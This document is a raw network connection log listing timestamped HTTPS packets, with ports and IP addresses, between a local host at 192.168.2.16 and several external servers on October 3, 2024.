Oct 3, 2024 18:19:42.850492001 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.850517988 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.850548983 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.850703001 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.850703001 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.850703001 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.850770950 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.850848913 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.851022005 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.851263046 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.851452112 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.851547003 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.851608992 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.851706028 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.851752996 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.851780891 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.851833105 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:44.911560059 CEST	49812	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:44.911648035 CEST	443	49812	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:44.911760092 CEST	49812	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:44.912245035 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:44.912292957 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:44.912508965 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:44.913250923 CEST	49812	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:44.913290024 CEST	443	49812	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:44.913670063 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:44.913695097 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:45.862797976 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:45.863235950 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:45.863276005 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:45.864958048 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:45.865052938 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:45.866306067 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:45.866386890 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:45.866481066 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:45.866489887 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:45.917031050 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:45.937814951 CEST	443	49812	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:45.938237906 CEST	49812	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:45.938275099 CEST	443	49812	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:45.942197084 CEST	443	49812	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:45.942312002 CEST	49812	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:45.942559958 CEST	49812	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:45.942747116 CEST	443	49812	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:45.997061968 CEST	49812	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:45.997117996 CEST	443	49812	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:46.045053959 CEST	49812	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:47.125313044 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:47.125418901 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:47.125480890 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:47.125524998 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:47.125591993 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:47.133276939 CEST	49813	443	192.168.2.16	111.90.140.35
Oct 3, 2024 18:19:47.133342981 CEST	443	49813	111.90.140.35	192.168.2.16
Oct 3, 2024 18:19:47.243228912 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.243351936 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.243479967 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.245480061 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.245517015 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.739420891 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.739882946 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.739916086 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.741338968 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.741424084 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.742558956 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.742768049 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.742774963 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.742806911 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.783030033 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.783088923 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.831023932 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.902443886 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.902757883 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.902821064 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.903064013 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.903088093 CEST	443	49814	34.107.223.80	192.168.2.16
Oct 3, 2024 18:19:47.903100967 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.903137922 CEST	49814	443	192.168.2.16	34.107.223.80
Oct 3, 2024 18:19:47.943895102 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:47.943939924 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:47.944030046 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:47.944334984 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:47.944345951 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.467706919 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.468081951 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.468116045 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.469752073 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.469845057 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.471638918 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.471846104 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.471852064 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.471991062 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.518038988 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.518066883 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.565999031 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.647347927 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.647501945 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.647557020 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.647574902 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.647645950 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.647691011 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.647700071 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.647769928 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.647815943 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.647824049 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.647891998 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.647933960 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.647943974 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.652013063 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.652050018 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.652081966 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.652084112 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.652096987 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.652129889 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.693028927 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.697700977 CEST	49816	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.697752953 CEST	443	49816	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.697839022 CEST	49816	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.698189974 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.698251009 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.698328972 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.698926926 CEST	49816	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.698940992 CEST	443	49816	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.699260950 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.699270010 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.699320078 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.699553013 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.699563980 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.699609041 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.699826956 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.699872017 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.699922085 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.700225115 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.700238943 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.700676918 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.700686932 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.700838089 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.700849056 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.700998068 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.701014042 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.734098911 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.734179020 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.734257936 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.734266043 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.734325886 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.734368086 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.734379053 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.734383106 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.734412909 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.735095978 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.735140085 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.735157967 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.735193968 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.735245943 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.735253096 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.735269070 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.735321999 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.735337019 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.735378027 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.735434055 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.735479116 CEST	49815	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.735507965 CEST	443	49815	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.735841990 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.735929966 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:48.736013889 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.736377954 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:48.736418009 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.162199020 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.162467957 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.162545919 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.163372993 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.163559914 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.163578033 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.164107084 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.164191961 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.164413929 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.164429903 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.164525032 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.164572001 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.164637089 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.164649963 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.164666891 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.164726019 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.164968967 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.165045977 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.165056944 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.165160894 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.165760994 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.165944099 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.165967941 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.166202068 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.166270018 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.166462898 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.166528940 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.166544914 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.166564941 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.169332027 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.169419050 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.169610977 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.169676065 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.169684887 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.169698000 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.176053047 CEST	443	49816	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.176306963 CEST	49816	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.176364899 CEST	443	49816	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.177489042 CEST	443	49816	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.177949905 CEST	49816	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.178037882 CEST	443	49816	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.178117990 CEST	49816	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.198359966 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.198611021 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.198652029 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.200376987 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.200444937 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.200705051 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.200788975 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.200824022 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.204022884 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.219048023 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.219052076 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.219054937 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.219110012 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.219114065 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.219477892 CEST	443	49816	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.247431993 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.251030922 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.251060009 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.267014027 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.267046928 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.299102068 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.301625967 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.301749945 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.301872015 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.301887989 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.301918983 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.301990032 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.302011013 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.302206993 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.302263975 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.302659988 CEST	49817	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.302699089 CEST	443	49817	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.303107977 CEST	49823	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.303158045 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.303227901 CEST	49823	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.303492069 CEST	49823	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.303510904 CEST	443	49823	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.309550047 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.309607029 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.309638023 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.309681892 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.309679985 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.309717894 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.309741974 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.309776068 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.309832096 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.309839010 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.309863091 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.309920073 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.309931040 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.310067892 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.310107946 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.310120106 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.319808006 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.319926023 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.319938898 CEST	443	49816	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.320003033 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.320015907 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.320046902 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.320112944 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.320130110 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.320183992 CEST	443	49816	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.320255995 CEST	49816	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.320287943 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.320352077 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.320370913 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.320518017 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.320588112 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.320602894 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.320652008 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.320667028 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.320722103 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.321036100 CEST	49816	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.321099043 CEST	443	49816	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.321202993 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.321285963 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.321377039 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.321413994 CEST	49818	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.321430922 CEST	443	49818	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.321671009 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.321733952 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.321787119 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.321907043 CEST	49824	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.321943045 CEST	443	49824	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.322052956 CEST	49825	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.322069883 CEST	443	49825	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.336965084 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.337116003 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.337193012 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.337199926 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.337258101 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.337318897 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.337336063 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.337414980 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.337471008 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.337482929 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.337593079 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.337646008 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.337657928 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.341538906 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.341619968 CEST	49820	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.341634035 CEST	443	49820	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.362097025 CEST	49819	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.362154961 CEST	443	49819	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.363996983 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.364057064 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.364190102 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.364207029 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.364243984 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.364268064 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.364692926 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.364732981 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.364752054 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.364768028 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.364823103 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.364835024 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.364859104 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.364906073 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.364953995 CEST	49822	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.364984989 CEST	443	49822	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.365302086 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.365349054 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:49.365425110 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:49.365782022 CEST	49826	443	192.168.2.16	172.67.185.164
